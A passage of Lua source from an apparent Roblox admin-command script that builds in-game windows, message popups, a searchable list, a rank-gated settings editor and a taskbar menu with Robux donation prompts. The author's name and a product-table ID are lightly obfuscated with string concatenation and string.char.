4070 local Restored = Instance.new("BindableEvent", Functions) Restored.Name = "Restored"
4071
4072 if Settings.EnableTaskBar then
4073 Minus = Instance.new("ImageButton", FormBar) Minus.Name = "Minus" Minus.Position = UDim2.new(1, -58, 0, 5) Minus.Size = UDim2.new(0, 35, 0, 25) Minus.BackgroundTransparency = 1 Minus.Image = "rbxassetid://275589157"
4074 else
4075 TitleEnd.Position = UDim2.new(1, -50, 0, 5)
4076 Title.Size = UDim2.new(1, -95, 0, 25)
4077 end
4078
4079 if not ShowFormButtons then
4080 X:Destroy()
4081 TitleEnd:Destroy()
4082 Title.Size = UDim2.new(1, -55, 0, 25)
4083 end
4084
4085 local function CloseForm()
4086 if IsClosed == false then
4087 IsActive.Value = false
4088 IsClosed = true
4089 ypcall(function() Dragger:TweenPosition(UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,1,Size.Y.Offset + 20), "Out", "Quint", TweenSpeed, true, function() wait(1) if SG then SG:Destroy() end end) end)
4090 Closed:Fire()
4091 SOUND:PlayNotification(Player, 206375138)
4092 end
4093 end
4094
4095 local function MinimizeForm()
4096 if IsActive.Value == true then
4097 IsActive.Value = false
4098 Minimized:Fire()
4099 MinimizePos = Dragger.Position
4100 ypcall(function() Dragger:TweenPosition(UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,-Size.Y.Scale,-Size.Y.Offset - 90), "Out", "Quad", TweenSpeed, true) end)
4101 end
4102 end
4103
4104 local function RestoreForm()
4105 if IsActive.Value == false then
4106 IsActive.Value = true
4107 Restored:Fire()
4108 ypcall(function() Dragger:TweenPosition(MinimizePos, "Out", "Quint", TweenSpeed, true) end)
4109 end
4110 end
4111
4112 if X then CORE:HandleEvent(X, "MouseButton1Down", CloseForm) end
4113 if Minus then CORE:HandleEvent(Minus, "MouseButton1Down", MinimizeForm) end
4114
4115 Close.OnInvoke = CloseForm
4116 Minimize.OnInvoke = MinimizeForm
4117 Restore.OnInvoke = RestoreForm
4118
4119 if TweenPosition then Dragger:TweenPosition(Position, "Out", "Quint", TweenSpeed, true) end
4120
4121 if TaskBar then
4122 TaskBar:WaitForChild("AddForm")
4123 TaskBar.AddForm:Fire(SG, IconID, Closed, Minimized, Restore)
4124 end
4125
4126 return Content, Close, Closed, Minimize, Minimized, Restore, Restored
4127end
4128
4129function GUI:CoreGui(Player, Type, Enable)
4130 local Parent = Player:FindFirstChild("Backpack")
4131 if not Parent then Parent = Player.Backpack end
4132 CORE:ExecuteResource("CoreGui", Player.Character, {["Type"] = Type, ["Enabled"] = Enable})
4133end
4134
4135function GUI:SendMessage(Player, TitleText, BodyText, IconID, Time, AutoTime, Speaker)
4136 if not Player or not Player:IsA("Player") then return nil end
4137 if BodyText == "" then return nil end
4138 if not Player:FindFirstChild("PlayerGui") then return nil end
4139
4140 local MessageSplit = STRING:GetSplit(BodyText, 1, " ") or {BodyText}
4141 local TextColor = GUI:GetColor(MessageSplit[1])
4142 if TextColor then BodyText = MessageSplit[2] end
4143 BodyText = string.sub(STRING:FormatReplace(Player, BodyText, Speaker or Player),1,1000)
4144
4145 local Frame, Close, Closed, _, Minimized = GUI:CreateForm(Player, TitleText, UDim2.new(0.2,100,0.1,100), nil, IconID)
4146 local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1,0,1,0) Body.BackgroundTransparency = 1 Body.Text = BodyText Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextStrokeTransparency = 0 Body.TextWrapped = true Body.TextYAlignment = "Top"
4147
4148 if Frame then
4149 local FormBar = Frame.Parent.Parent.FormBar
4150 local Said = false
4151 local Speak = Instance.new("ImageButton", FormBar) Speak.Name = "Speak" Speak.Position = UDim2.new(1, -87, 0, 5) Speak.Size = UDim2.new(0, 35, 0, 25) Speak.BackgroundColor3 = Color3.new(1, 1, 1) Speak.BackgroundTransparency = 1 Speak.Image = "rbxassetid://276195369"
4152 if Settings.EnableTaskBar then
4153 FormBar.TitleEnd.Position = UDim2.new(1, -106, 0, 5)
4154 FormBar.Title.Size = UDim2.new(1, -145, 0, 25)
4155 else
4156 Speak.Position = UDim2.new(1, -58, 0, 5)
4157 FormBar.TitleEnd.Position = UDim2.new(1, -76, 0, 5)
4158 FormBar.Title.Size = UDim2.new(1, -120, 0, 25)
4159 end
4160 CORE:HandleEvent(Speak, "MouseButton1Down", function()
4161 if not Said then
4162 Said = true
4163 SOUND:SayConvertedText(SOUND:ConvertText(BodyText), Frame)
4164 end
4165 end)
4166
4167 if TextColor then
4168 Body.TextColor3 = TextColor
4169 else
4170 Body.TextColor3 = Color3.new(1,1,1)
4171 end
4172
4173 if tonumber(Time) then coroutine.wrap(function()
4174 if AutoTime then
4175 Time = Time + math.floor(#BodyText/7)
4176 end
4177 local Alive = true
4178
4179 local function StopTimer() Alive = false end
4180 Closed.Event:connect(StopTimer)
4181 Minimized.Event:connect(StopTimer)
4182
4183 Frame.Size = Frame.Size + UDim2.new(0,0,0,-30)
4184 Frame.Position = Frame.Position + UDim2.new(0,0,0,30)
4185 local Ticker = Instance.new("TextLabel", Frame.Parent) Ticker.Size = UDim2.new(1, 0, 0, 30) Ticker.TextColor3 = GUI:ContrastColor() Ticker.BackgroundTransparency = 1 Ticker.Text = Time Ticker.Font = "ArialBold" Ticker.FontSize = "Size18"
4186 local Stop = Instance.new("ImageButton", Frame.Parent) Stop.Name = "Stop" Stop.Position = UDim2.new(1,-30,0,0) Stop.Size = UDim2.new(0, 25, 0, 25) Stop.BackgroundColor3 = Color3.new(1, 1, 1) Stop.BackgroundTransparency = 1 Stop.Image = "rbxassetid://49494354"
4187 CORE:HandleEvent(Stop, "MouseButton1Down", StopTimer)
4188 for i = Time,0,-1 do
4189 for ii = 1,10 do
4190 if Alive == true then
4191 Ticker.Text = i
4192 wait(0.1)
4193 else
4194 break
4195 end
4196 end
4197 end
4198 if Alive == true then
4199 Close:Invoke()
4200 else
4201 Ticker:Destroy()
4202 Stop:Destroy()
4203 Frame.Size = Frame.Size + UDim2.new(0,0,0,30)
4204 Frame.Position = Frame.Position + UDim2.new(0,0,0,-30)
4205 end
4206 end)() end
4207
4208 CORE:ExecuteResource("CalculateScrollY", Body)
4209 end
4210end
4211
4212function GUI:FullMessage(Player, TitleText, BodyText, IconID, Error)
4213 if not Player then return nil end
4214 if not Player:IsA("Player") then return nil end
4215 if BodyText == "" then return nil end
4216 if not Player:FindFirstChild("PlayerGui") then return nil end
4217 BodyText = string.sub(STRING:FormatReplace(Player, BodyText),1,1000)
4218 local TextColor = GUI:ContrastColor()
4219 if Error then TextColor = Color3.new(1,0,0) end
4220
4221 local Frame, Close, Closed, Minimize, Minimized = GUI:CreateForm(Player, TitleText, UDim2.new(0.3,0,0.3,0), nil, IconID)
4222 local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1, -13, 1, 0) Body.BackgroundTransparency = 1 Body.Text = BodyText Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextStrokeTransparency = 1 Body.TextWrapped = true Body.TextXAlignment = "Left" Body.TextYAlignment = "Top" Body.TextColor3 = TextColor
4223
4224 CORE:ExecuteResource("CalculateScrollY", Body)
4225
4226 return Frame, Close, Closed, Minimize, Minimized
4227end
4228
4229function GUI:SendHint(Player, Text, Time, Speaker) coroutine.wrap(function()
4230 Text = STRING:FormatReplace(Player, string.sub(Text,1,100), Speaker)
4231 local TweenTime = 0.5
4232 if not Time then Time = 5 end
4233 local SG = Instance.new("ScreenGui") SG.Name = "LuaMod".."".."elM".."aker's Admin Hint"
4234 local MaxPos = -1
4235 for _,SGObj in pairs(Player.PlayerGui:GetChildren()) do
4236 local IVal = SGObj:FindFirstChild("Index")
4237 if IVal then
4238 MaxPos = math.max(MaxPos, IVal.Value)
4239 end
4240 end
4241 MaxPos = MaxPos + 1
4242 local IndexVal = Instance.new("IntValue", SG) IndexVal.Name = "Index" IndexVal.Value = MaxPos
4243 local Main = Instance.new("Frame", SG) Main.Name = "Main" Main.Position = UDim2.new(0, 0, 0.05, MaxPos * 50) Main.Size = UDim2.new(1, 0, 0, 40) Main.BackgroundTransparency = 1
4244 local LeftBar = Instance.new("Frame", Main) LeftBar.Name = "LeftBar" LeftBar.Position = UDim2.new(0.5, 0, 0, 0) LeftBar.Size = UDim2.new(0, 0, 1, 0) LeftBar.BackgroundColor3 = GUI:GetColor() LeftBar.BackgroundTransparency = 0.9 LeftBar.BorderSizePixel = 0
4245 local RightBar = Instance.new("Frame", Main) RightBar.Name = "RightBar" RightBar.Position = UDim2.new(0.5, 0, 0, 0) RightBar.Size = UDim2.new(0, 0, 1, 0) RightBar.BackgroundColor3 = GUI:GetColor() RightBar.BackgroundTransparency = 0.9 RightBar.BorderSizePixel = 0
4246 local Body = Instance.new("TextLabel", Main) Body.Name = "Body" Body.Size = UDim2.new(1, 0, 1, 0) Body.BackgroundColor3 = Color3.new(1, 1, 1) Body.BackgroundTransparency = 1 Body.TextColor3 = GUI:ContrastColor() Body.Text = Text Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextTransparency = 1
4247 SG.Parent = Player.PlayerGui
4248
4249 CORE:ExecuteResource("GUIEffect", Main, {["Transparency"] = Settings.TransparencyScheme + 0.1, ["GUIName"] = "LeftBar"})
4250 CORE:ExecuteResource("GUIEffect", Main, {["Transparency"] = Settings.TransparencyScheme + 0.1, ["GUIName"] = "RightBar"})
4251
4252 LeftBar:TweenSize(UDim2.new(-0.5, 0, 1, 0), "In", "Quart", TweenTime)
4253 RightBar:TweenSize(UDim2.new(0.5, 0, 1, 0), "In", "Quart", TweenTime)
4254 Delay(TweenTime, function()
4255 for i = 1,0,-0.1 do
4256 Body.TextTransparency = i
4257 wait()
4258 end
4259 Body.TextTransparency = 0
4260 end)
4261 Delay(TweenTime + Time, function()
4262 for i = 0,1,0.1 do
4263 Body.TextTransparency = i
4264 wait()
4265 end
4266 Body.TextTransparency = 1
4267 local Done = false
4268 LeftBar:TweenSize(UDim2.new(0, 0, 1, 0), "Out", "Quad", TweenTime, true, function() Done = true end)
4269 RightBar:TweenSize(UDim2.new(0, 0, 1, 0), "Out", "Quad", TweenTime, true, function() repeat wait() until Done SG:Destroy() end)
4270 end)
4271
4272end)() end
4273
4274function GUI:ListGui(Player, Title, List, IconID, Clickable, AutoNumber, PreSearch, BackgroundColor)
4275 if not Player then return nil end
4276 if not Player:FindFirstChild("PlayerGui") then return nil end
4277 if not PreSearch then PreSearch = "" end
4278 if AutoNumber == nil then AutoNumber = true end
4279
4280 local Frame, Close, Closed, Minimize, Minimized = GUI:CreateForm(Player, Title, UDim2.new(0.4,0,0.6,0), nil, IconID, true, BackgroundColor)
4281 local SearchBar = Instance.new("TextBox") SearchBar.Name = "SearchBar" SearchBar.Position = UDim2.new(0.1,0,0,5) SearchBar.Size = UDim2.new(0.8,0,0,20) SearchBar.BackgroundColor3 = GUI:GetColor() SearchBar.BackgroundTransparency = 0.5 SearchBar.Text = "" SearchBar.Font = Settings.Font SearchBar.FontSize = "Size14" SearchBar.TextColor3 = GUI:ContrastColor() SearchBar.ClearTextOnFocus = false SearchBar.Text = PreSearch SearchBar.Font = Settings.Font SearchBar.FontSize = "Size14"
4282 SearchBar.Parent = Frame.Parent
4283 Frame.Size = Frame.Size + UDim2.new(0,0,0,-30)
4284 Frame.Position = Frame.Position + UDim2.new(0,0,0,30)
4285
4286 local SearchVer = 0,nil
4287 local Clicked = Instance.new("BindableEvent", Frame) Clicked.Name = "Clicked"
4288 local RequestDialog = Instance.new("BindableFunction", Frame) RequestDialog.Name = "RequestDialog"
4289 local InDialog = false
4290
4291 local function ShowResults(Key)
4292 SearchVer = SearchVer + 1
4293 local ThisSearchVer = SearchVer
4294
4295 if type(ScrollScript) == "userdata" then ScrollScript.Disabled = true ScrollScript:Destroy() end
4296 for _,Get in pairs(Frame:GetChildren()) do if Get:IsA("LocalScript") then Get.Disabled = true end Get:Destroy() end
4297
4298 local NumPos,Num = 0,1
4299
4300 for _,Data in pairs(List) do
4301 if ThisSearchVer ~= SearchVer then
4302 break
4303 end
4304 local String = tostring(Data)--STRING:DetermineFilter(tostring(Data), Player, Player)
4305 if String then
4306 local ImageIcon = nil
4307 if type(Data) == "table" then
4308 String = Data[1]
4309 ImageIcon = Data[2]
4310 end
4311
4312 local TextColor = GUI:ContrastColor()
4313 local StringSplit = STRING:GetSplit(String, 1, " ")
4314 local NewColor = GUI:GetColor(StringSplit[1])
4315 if NewColor then TextColor = NewColor String = StringSplit[2] end
4316
4317 if string.find(string.lower(String), string.lower(Key)) then
4318 Spacer = false
4319 local Font = Settings.Font
4320 local Split = STRING:GetSplit(String, 1, " ")
4321 if string.sub(string.lower(String),1,6) == "bold: " then
4322 Font = "ArialBold"
4323 String = string.sub(String,7)
4324 elseif Fonts[Split[1]] then
4325 Font = Split[1]
4326 String = Split[2]
4327 end
4328 if string.sub(String,1,2) == "--" then
4329 Spacer = true
4330 end
4331 local Content = Instance.new("TextButton", Frame) Content.Name = "Content: "..Num Content.Position = UDim2.new(0,0,0,NumPos) Content.Size = UDim2.new(1,0,0,30) Content.BackgroundColor3 = Color3.new(1,1,1) Content.BackgroundTransparency = 0.9 Content.Font = Font Content.FontSize = "Size18" Content.TextXAlignment = "Left" Content.TextColor3 = TextColor if Spacer then Content.Text = string.rep(" ", #tostring(Num) + 3)..String elseif AutoNumber == true then Content.Text = Num..".) "..String else Content.Text = String end
4332 if ImageIcon then
4333 if tonumber(ImageIcon) then
4334 ImageIcon = "rbxassetid://"..ImageIcon
4335 elseif Icons[ImageIcon] then
4336 ImageIcon = "rbxassetid://"..Icons[ImageIcon]
4337 end
4338
4339 Content.Size = UDim2.new(1,0,0,90) Content.Position = UDim2.new(0,0,0,NumPos) Content.ZIndex = 2
4340 local Image = Instance.new("ImageLabel", Content) Image.Name = "Image" Image.Size = UDim2.new(0, 90, 0, 90) Image.BackgroundColor3 = Color3.new(1, 1, 1) Image.BackgroundTransparency = 1 Image.Image = ImageIcon
4341 local TextContent = Instance.new("TextLabel", Content) TextContent.Name = "TextContent" TextContent.Position = UDim2.new(0, 90, 0, 0) TextContent.Size = UDim2.new(1, -90, 1, 0) TextContent.BackgroundColor3 = Color3.new(1, 1, 1) TextContent.BackgroundTransparency = 1 TextContent.Text = Content.Text TextContent.Font = Settings.Font TextContent.FontSize = "Size18" TextContent.TextXAlignment = "Left" TextContent.TextColor3 = TextColor TextContent.TextWrapped = true
4342 Content.Text = ""
4343 NumPos = NumPos + 90
4344 else
4345 NumPos = NumPos + 30
4346 end
4347
4348 if not Clickable then
4349 Content.AutoButtonColor = false
4350 Content.Active = false
4351 Content.BackgroundTransparency = 1
4352 elseif ClientInfo[Player.Name] and not ClientInfo[Player.Name].TouchScreen then
4353 SOUND:BindButton(Content)
4354 CORE:HandleEvent(Content, "MouseButton1Down", function()
4355 if not InDialog then
4356 Clicked:Fire(String)
4357 end
4358 end, true)
4359 end
4360 if Spacer == false then Num = Num + 1 end
4361 end
4362 end
4363 end
4364 Frame.CanvasSize = UDim2.new(0,0,0,NumPos)
4365 ScrollScript = CORE:ExecuteResource("ScrollLeftRight", Frame.Parent, {["VerticalOffset"] = NumPos})
4366 end
4367
4368 RequestDialog.OnInvoke = function(RequestDialogCall)
4369 InDialog = RequestDialogCall
4370 end
4371
4372 ShowResults(PreSearch)
4373
4374 local RPR = CORE:CreateRemotePropertyReader(SearchBar)
4375 CORE:HandleEvent(SearchBar, "Changed", function(Prop)
4376 if Prop == "Text" then
4377 local Text = CORE:ReadProperty(RPR, Player, "Text")
4378 ShowResults(Text)
4379 Frame.CanvasPosition = Vector2.new(0,0)
4380 end
4381 end)
4382
4383 return Clicked, RequestDialog, Close
4384end
4385
4386function GUI:PropertyGui(Player, Title, Icon, Properties)
4387 if not Player then return nil end
4388 if not Player:FindFirstChild("PlayerGui") then return nil end
4389 if type(Properties) ~= "table" then return nil end
4390 local HasClosed = false
4391 local NewProperties = {}
4392
4393 local Frame, _, Closed = GUI:CreateForm(Player, Title, UDim2.new(0.2, 50, 0.5, 50), nil, Icon)
4394 Frame.ClipsDescendants = true
4395 local Splitter = Instance.new("Frame", Frame) Splitter.Name = "Splitter" Splitter.Position = UDim2.new(0.5, 0, 0, 0) Splitter.Size = UDim2.new(0, 0, 1, 0) Splitter.BackgroundColor3 = GUI:ContrastColor() Splitter.BorderColor3 = GUI:ContrastColor() Splitter.BorderSizePixel = 2 Splitter.ZIndex = 2
4396
4397 for PropertyName,Data in pairs(Properties) do
4398 NewProperties[PropertyName] = Data[1]
4399 end
4400
4401 local YCount = 0
4402
4403 for PropertyName,Data in pairs(Properties) do
4404 if type(Data) == "table" then
4405 local DefaultValue = Data[1]
4406 local Writable = Data[2]
4407 local ValueType = Data[3]
4408
4409 if Writable == nil then Writable = false end
4410 if type(ValueType) == "string" then -- now this is confusing
4411 ValueType = string.lower(ValueType)
4412 elseif ValueType == nil then
4413 ValueType = type(DefaultValue)
4414 end
4415
4416 if ValueType == "nil" or ValueType == "userdata" then
4417 ValueType = nil
4418 elseif ValueType == "table" then
4419 DefaultValue = STRING:UnpackArgs(DefaultValue)
4420 ValueType = "string"
4421 end
4422
4423 if ValueType then
4424 local Object = Instance.new("Frame", Frame) Object.Name = "Object" Object.Size = UDim2.new(1, 0, 0, 50) Object.Position = UDim2.new(0,0,0,YCount) Object.BackgroundColor3 = GUI:GetColor() Object.BackgroundTransparency = 1--Settings.TransparencyScheme
4425 local Property = Instance.new("TextLabel", Object) Property.Name = "Property" Property.Size = UDim2.new(0.5, 0, 0, 50) Property.BackgroundTransparency = 1 Property.Text = PropertyName Property.Font = Settings.Font Property.FontSize = "Size14" Property.TextWrapped = true Property.TextXAlignment = "Left"
4426 local ValFrame = Instance.new("Frame", Object) ValFrame.Name = "ValFrame" ValFrame.Position = UDim2.new(0.5, 5, 0, 0) ValFrame.Size = UDim2.new(0.5, -5, 1, 0) ValFrame.BackgroundTransparency = 1
4427
4428 if ValueType == "string" or ValueType == "number" then
4429 if Writable == true then
4430 local Input = Instance.new("TextBox", ValFrame) Input.Name = "Input" Input.Position = UDim2.new(0, 0, 0.1, 0) Input.BackgroundTransparency = 1 Input.Size = UDim2.new(1, 0, 0.8, 0) Input.Text = tostring(DefaultValue) Input.Font = Settings.Font Input.FontSize = "Size14" Input.TextWrapped = true Input.TextXAlignment = "Left" Input.ClearTextOnFocus = false
4431 CORE:HandleEvent(Input, "Changed", function(Prop) if Prop == "Text" then
4432 if ValueType == "number" then
4433 NewProperties[PropertyName] = tonumber(Input.Text)
4434 else
4435 NewProperties[PropertyName] = tostring(Input.Text)
4436 end
4437 end end)
4438 else
4439 local Read = Instance.new("TextLabel", ValFrame) Read.Name = "Read" Read.Position = UDim2.new(0, 0, 0.1, 0) Read.Size = UDim2.new(1, 0, 0.8, 0) Read.BackgroundTransparency = 1 Read.Text = DefaultValue Read.Font = Settings.Font Read.FontSize = "Size14" Read.TextTransparency = 0.4 Read.TextXAlignment = "Left"
4440 end
4441 end
4442 if ValueType == "boolean" then
4443 local Check = Instance.new("ImageButton", ValFrame) Check.Name = "Check" Check.Position = UDim2.new(0.5, -15, 0.5, -15) Check.Size = UDim2.new(0, 30, 0, 30) Check.BackgroundTransparency = 1 Check.Image = "rbxassetid://48138474"
4444 if DefaultValue == true then
4445 Check.Image = "rbxassetid://48138491"
4446 end
4447 if Writable == true then
4448 CORE:HandleEvent(Check, "MouseButton1Down", function()
4449 local NewVal = not NewProperties[PropertyName]
4450 NewProperties[PropertyName] = NewVal
4451 if NewVal == true then
4452 Check.Image = "rbxassetid://48138491"
4453 else
4454 Check.Image = "rbxassetid://48138474"
4455 end
4456 end)
4457 else
4458 Check.ImageTransparency = 0.5
4459 end
4460 end
4461 YCount = YCount + 50
4462 end
4463 end
4464 end
4465
4466 Frame.CanvasSize = UDim2.new(0,0,0,YCount)
4467
4468 Closed.Event:connect(function() HasClosed = true end)
4469
4470 repeat wait(0.1) until HasClosed
4471 return NewProperties
4472end
4473
4474function GUI:SettingsGui(Player)
4475 if not Player then return nil end
4476 local CloneViewSettings,CanChange = {},false
4477
4478 local ViewSettings = {
4479 ["Version"] = {CORE.Version.Value, false, nil};
4480 ["Prefix"] = {Settings.Prefix, 3, "Prefix"};
4481 ["Font"] = {Settings.Font, 3, "Font"};
4482 ["Color Scheme"] = {Settings.ColorScheme, 3, "ColorScheme"};
4483 ["Transparency Scheme"] = {Settings.TransparencyScheme * 100, 3, "TransparencyScheme"};
4484 ["Server Locked"] = {Settings.ServerLocked, 3, "ServerLocked"};
4485 ["Fun Commands"] = {Settings.Fun, 3, "Fun"};
4486 ["Disable Abuse"] = {Settings.DisableAbuse, 3, "DisableAbuse"};
4487 ["Minimum Account Age"] = {Settings.MinimumAge, 3, "MinimumAge"};
4488 ["Execute Notification Sound ID"] = {Settings.ExecuteNotificationSound, 3, "ExecuteNotificationSound"};
4489 ["Enable Sounds"] = {Settings.EnableSounds, 3, "EnableSounds"};
4490 ["Group ID"] = {Settings.GroupID, false, "GroupID"};
4491 ["Group Banned Rank"] = {Settings.GroupBanRank, false, "GroupBanRank"};
4492 ["Group Member Rank"] = {Settings.GroupMemberRank, false, "GroupMemberRank"};
4493 ["Group Admin Rank"] = {Settings.GroupAdminRank, false, "GroupAdminRank"};
4494 ["Group Owner Rank"] = {Settings.GroupOwnerRank, false, "GroupOwnerRank"};
4495 ["Banned Group IDs"] = {Settings.BannedGroupIDs, false, "BannedGroupIDs"};
4496 ["IRC Server"] = {Settings.IRCServer, false, "IRCServer"};
4497 ["IRC Channel"] = {Settings.IRCChannel, false, "IRCChannel"};
4498 ["Remote Connection"] = {REMOTE.RemoteConnection, false, nil};
4499 ["Bet"] = {Settings.Bet, 3, "Bet"};
4500 }
4501
4502 local _,RankNum = RANK:GetRank(Player)
4503 if RankNum >= 3 then
4504 CanChange = true
4505 end
4506
4507 for Prop,Data in pairs(ViewSettings) do
4508 local Writable = false
4509 if tonumber(Data[2]) and Data[2] <= RankNum then Writable = true end
4510 CloneViewSettings[Prop] = {Data[1], Writable}
4511 end
4512
4513 local NewSettings = GUI:PropertyGui(Player, "Settings", "Settings", CloneViewSettings)
4514 if CanChange then
4515 for Prop,Data in pairs(ViewSettings) do
4516 if Data[3] then
4517 Settings[Data[3]] = NewSettings[Prop] -- wow haxy
4518 end
4519 end
4520 CORE:FixSettings()
4521 end
4522end
4523
4524function GUI:MessageAdmins(TitleText, BodyText, Icon)
4525 for _,Player in pairs(Server.Players:GetPlayers()) do
4526 local PlayerAdmin, PlayerRank = RANK:IsAdmin(Player)
4527 if PlayerAdmin then
4528 GUI:SendMessage(Player, TitleText, BodyText, Icon)
4529 end
4530 end
4531end
4532
4533function GUI:TellAdmin(Player)
4534 if not Player then return end
4535
4536 local ValidAdmin,Rank = RANK:IsAdmin(Player)
4537 if ValidAdmin == true then
4538 GUI:SendMessage(Player, "Ma".."ker".."Mo".."delLua".."'s Admin Message", "GREEN You are an admin "..Player.Name.."! Your rank is "..Rank.." [ PREFIX '"..Settings.Prefix.."' ]", "Check", 5)
4539 if Settings.EnableSounds == true and Player:FindFirstChild("PlayerGui") then
4540 local SoundID = 237866523
4541 if Rank == "Admin" then SoundID = 237866621 elseif Rank == "Owner" then SoundID = 237866707 end
4542 local Sound = SOUND:MakeSound(Player.PlayerGui, SoundID, 0.5, 1)
4543 Sound:Play()
4544 coroutine.wrap(function()
4545 wait(4)
4546 Sound:Stop()
4547 Sound:Destroy()
4548 end)()
4549 end
4550 end
4551end
4552
4553function GUI:TellNotAdmin(Player)
4554 if not Player then return end
4555
4556 GUI:SendMessage(Player, "Mak".."er".."M".."o".."del".."Lua's Admin Message", "You are now no longer an admin", "Information")
4557end
4558
4559function GUI:CreateTaskBar(Player)
4560 if not Player then return nil end
4561 if Settings.EnableTaskBar == false then return nil end
4562 Player:WaitForChild("PlayerGui")
4563 local SG = Player.PlayerGui:FindFirstChild("M".."akerMod".."el".."Lua's TaskBar")
4564 if SG then SG:Destroy() end
4565 SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "M".."akerMod".."elLua's TaskBar"
4566 local IsMoving = false
4567 local TaskBarShown = false
4568 local Tasks = {}
4569
4570 local TaskBar = Instance.new("Frame", SG) TaskBar.Name = "TaskBar" TaskBar.Size = UDim2.new(1, 0, 0, 50) TaskBar.Position = UDim2.new(0,0,1,20) TaskBar.BackgroundColor3 = GUI:GetColor() TaskBar.BackgroundTransparency = Settings.TransparencyScheme TaskBar.BorderSizePixel = 0
4571 local TaskButton = Instance.new("ImageButton", TaskBar) TaskButton.Name = "TaskButton" TaskButton.Position = UDim2.new(1, -50, 0, -70) TaskButton.Size = UDim2.new(0, 50, 0, 50) TaskButton.BackgroundTransparency = 1 TaskButton.Image = "rbxassetid://222795206"
4572
4573 local AddForm = Instance.new("BindableEvent", SG) AddForm.Name = "AddForm"
4574 local Open,CloseForm = false,nil
4575 if Settings.EnableAdminMenu then
4576 local MenuButton = Instance.new("ImageButton", TaskBar) MenuButton.Name = "MenuButton" MenuButton.Position = UDim2.new(1, -50, 0, -120) MenuButton.Size = UDim2.new(0, 50, 0, 50) MenuButton.BackgroundTransparency = 1 MenuButton.Image = "rbxassetid://302470270"
4577 coroutine.wrap(function() wait(1) CORE:HandleEvent(MenuButton, "MouseButton1Click", function()
4578 if Open == false then
4579 local Frame, Close, Closed = GUI:CreateForm(Player, string.char(77, 97, 107, 101, 114, 77, 111, 100, 101, 108, 76, 117, 97, 39, 115).." Admin Menu", UDim2.new(0.4,0,0.5), nil, 302470270, true, nil, nil, false, true, true)
4580 Open,CloseForm = true,Close
4581
4582 local Title = Instance.new("TextLabel", Frame) Title.Name = "Title" Title.BackgroundTransparency = 1 Title.Position = UDim2.new(0,0,0,0) Title.Size = UDim2.new(1,0,0,30) Title.Font = "SourceSansBold" Title.FontSize = "Size24" Title.Text = string.char(77, 97, 107, 101, 114, 77, 111, 100, 101, 108, 76, 117, 97, 39, 115).." Admin V"..CORE.Version.Value Title.TextColor3 = GUI:ContrastColor()
4583 local Separator = Instance.new("Frame", Frame) Separator.Name = "Separator" Separator.BorderColor3 = Color3.new(1,1,1) Separator.Position = UDim2.new(0.5,0,0,30) Separator.Size = UDim2.new(0,0,1,-30)
4584 local Info = Instance.new("TextLabel", Frame) Info.Name = "Info" Info.BackgroundTransparency = 1 Info.Position = UDim2.new(0,0,0,30) Info.Size = UDim2.new(0.5,0,1,-30) Info.Font = Settings.Font Info.FontSize = "Size18" Info.Text = "Info/Help" Info.TextColor3 = GUI:ContrastColor() Info.TextYAlignment = "Top"
4585 local Body = Instance.new("TextLabel", Info) Body.Name = "Body" Body.BackgroundTransparency = 1 Body.Position = UDim2.new(0,0,0,25) Body.Size = UDim2.new(1,0,1,-25) Body.Font = "SourceSans" Body.FontSize = "Size14" Body.Text = string.gsub(Server.MPS:GetProductInfo(209330909).Description, "PREFIX", Settings.Prefix) Body.TextColor3 = GUI:ContrastColor() Body.TextYAlignment = "Top" Body.TextWrapped = true
4586 local Donate = Info:Clone() Donate.Parent = Frame Donate.Name = "Donate" Donate.Text = "Donate/Get admin" Donate.Position = UDim2.new(0.5,0,0,30) Donate.Body.Text = "Please select an amount that fits your generosity and to help support future updates. Press the 'Get admin now' to get copy for your own place!"
4587 local function DonateMoney(Type, Element)
4588 local Request = CORE:GetTable(string.char(49, 53, 53, 54, 56, 52, 51, 54, 57))
4589 local Get = Request[Type]
4590 if Server.MPS:GetProductInfo(Get[1]).IsForSale == true then
4591 Server.MPS:PromptPurchase(Player, Get[1], true)
4592 elseif Server.MPS:GetProductInfo(Get[2]).IsForSale == true then
4593 Server.MPS:PromptPurchase(Player, Get[2], true)
4594 elseif Server.MPS:GetProductInfo(Get[3]).IsForSale == true then
4595 Server.MPS:PromptPurchase(Player, Get[3], true)
4596 else
4597 Element.Text = "Cannot get request"
4598 end
4599 end
4600 local Get = Instance.new("TextButton", Donate) Get.Name = "Get" Get.Position = UDim2.new(0,0,0.5,0) Get.Size = UDim2.new(1,0,0,30) Get.Font = "ArialBold" Get.FontSize = "Size14" Get.Text = "Get MakerModelLua's Admin V"..CORE.Version.Value.." now for FREE!" Get.BackgroundColor3 = Color3.new(1,0,1) Get.TextColor3 = Color3.new(1,1,1) Get.TextStrokeColor3 = Color3.new(0,0,0) Get.TextStrokeTransparency = 0 Get.TextWrapped = true CORE:HandleEvent(Get, "MouseButton1Down", function() MARKET:PromptPurchase(Player, AdminID) end) SOUND:BindButton(Get)
4601 local Dnt = Instance.new("TextButton", Donate) Dnt.Name = "DonateButton" Dnt.Position = UDim2.new(0,0,1,-120) Dnt.Size = UDim2.new(1,0,0,30) Dnt.Font = "ArialBold" Dnt.FontSize = "Size14" Dnt.Text = "6 Robux" Dnt.BackgroundColor3 = Color3.new(1,1,0) Dnt.TextColor3 = Color3.new(1,1,1) Dnt.TextStrokeColor3 = Color3.new(0,0,0) Dnt.TextStrokeTransparency = 0 Dnt.TextWrapped = true CORE:HandleEvent(Dnt, "MouseButton1Down", function() DonateMoney("6R", Dnt) end) SOUND:BindButton(Dnt)
4602 local Dnt = Dnt:Clone() Dnt.Parent = Donate Dnt.Position = UDim2.new(0,0,1,-90) Dnt.Text = "20 Robux" Dnt.BackgroundColor3 = Color3.new(0,1,0) CORE:HandleEvent(Dnt, "MouseButton1Down", function() DonateMoney("20R", Dnt) end) SOUND:BindButton(Dnt)
